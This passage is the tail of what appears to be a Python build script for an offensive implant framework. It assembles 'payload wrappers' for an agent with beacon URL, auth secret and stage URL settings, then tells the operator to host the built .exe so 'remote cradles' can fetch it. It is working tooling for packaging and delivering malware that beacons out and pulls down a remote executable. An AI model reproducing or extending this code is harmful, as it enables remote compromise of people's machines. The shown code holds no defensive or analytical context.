else [f[0] for f in wrappers.FORMATS]
|
|
print("\n[i] Payload wrappers (dist/):")
|
|
payloads = wrappers.build_payloads(
|
|
{"dist": DIST, "out": c.out, "transport": c.transport,
|
|
"beacon_url": c.beacon_url or "", "auth_header": c.auth_header,
|
|
"auth_secret": c.auth_secret or "", "stage_url": c.stage_url},
|
|
agent, want)
|
|
if payloads:
|
|
files += [e["file"] for e in payloads]
|
|
mf = DIST / ("%s.manifest.json" % c.out)
|
|
m = json.loads(mf.read_text(encoding="utf-8"))
|
|
m["payloads"] = payloads
|
|
mf.write_text(json.dumps(m, indent=2) + "\n", encoding="utf-8")
|
|
if c.stage_url and any(e["kind"] in wrappers.STAGE_REQUIRED
|
|
for e in payloads):
|
|
print("[i] host dist/%s.exe at %s so the remote cradles can "
|
|
"fetch it" % (c.out, c.stage_url))
|
|
sys.exit(0 if ok else 1)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main() |